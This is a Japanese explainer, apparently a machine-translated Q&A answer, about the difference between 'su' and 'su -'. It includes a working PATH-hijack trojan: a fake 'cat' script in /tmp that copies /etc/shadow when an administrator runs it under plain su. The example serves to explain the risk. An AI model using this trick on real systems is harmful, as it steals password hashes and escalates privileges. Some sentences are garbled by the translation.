su -
ユーザーを切り替えた後、ログイン シェルを呼び出します。ログイン シェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。
su
ユーザーを切り替えるだけで、通常のシェルに古いユーザーとほぼ同じ環境が提供されます。
あなたがマシンへの通常のユーザー アクセス権を持つソフトウェア開発者であり、無知な管理者がルート アクセス権を与えないことを想像してみてください。 (できれば) 彼をだましましょう。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
ここで、cat
できない理由を管理者に尋ねます。 ホーム フォルダにダミー ファイルを追加しても、機能しません。
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
あなたの管理者がそれほど頭がよくなかったり、少し怠け者だったりする場合、彼はあなたのデスクに来てスーパーユーザー権限を試すかもしれません:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
わお!ありがとう、スーパー管理者!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
彼、彼。
$PATH
が壊れていることに気付いたかもしれません。 変数はリセットされませんでした。管理者が su -
を呼び出した場合、これは発生しませんでした
su -
su
に対して完全に root としてログインします。 root のふりをしているようにします。
これの最も明白な例は ~
です su -
を使用する場合、ルートのホーム ディレクトリです。 、ただし su
を使用する場合は独自のホーム ディレクトリ .
システムによっては、プロンプト PATH
の違いを意味する場合もあります 、または履歴ファイル。
したがって、システムを管理するチームの一員であり、同僚からコマンドを実行するように指示された場合、両方が su -
を使用していれば、コマンドは同じように機能することがわかります。 、ただし、両方が su
を使用している場合 、異なるシェル構成を使用しているため、違いがある可能性があります.
一方、ルートとしてコマンドを実行したいが、独自の構成を使用する場合は、おそらく su
sudo
も忘れないでください -s
を持つ root として実行されているシェルを開始するオプション。もちろん、これにもさまざまなルールがあり、使用しているディストリビューションによって異なります。
主な違いは次のとおりです:
su - username
指定されたユーザーとしてのクリーン ログインであるかのようにシェル環境を設定し、指定されたユーザーの環境変数にアクセスして使用します。
su username
指定されたユーザーの現在の環境設定でシェルを開始するだけです。
su
でユーザー名が指定されていない場合 と su -
、root アカウントがデフォルトとして暗示されます。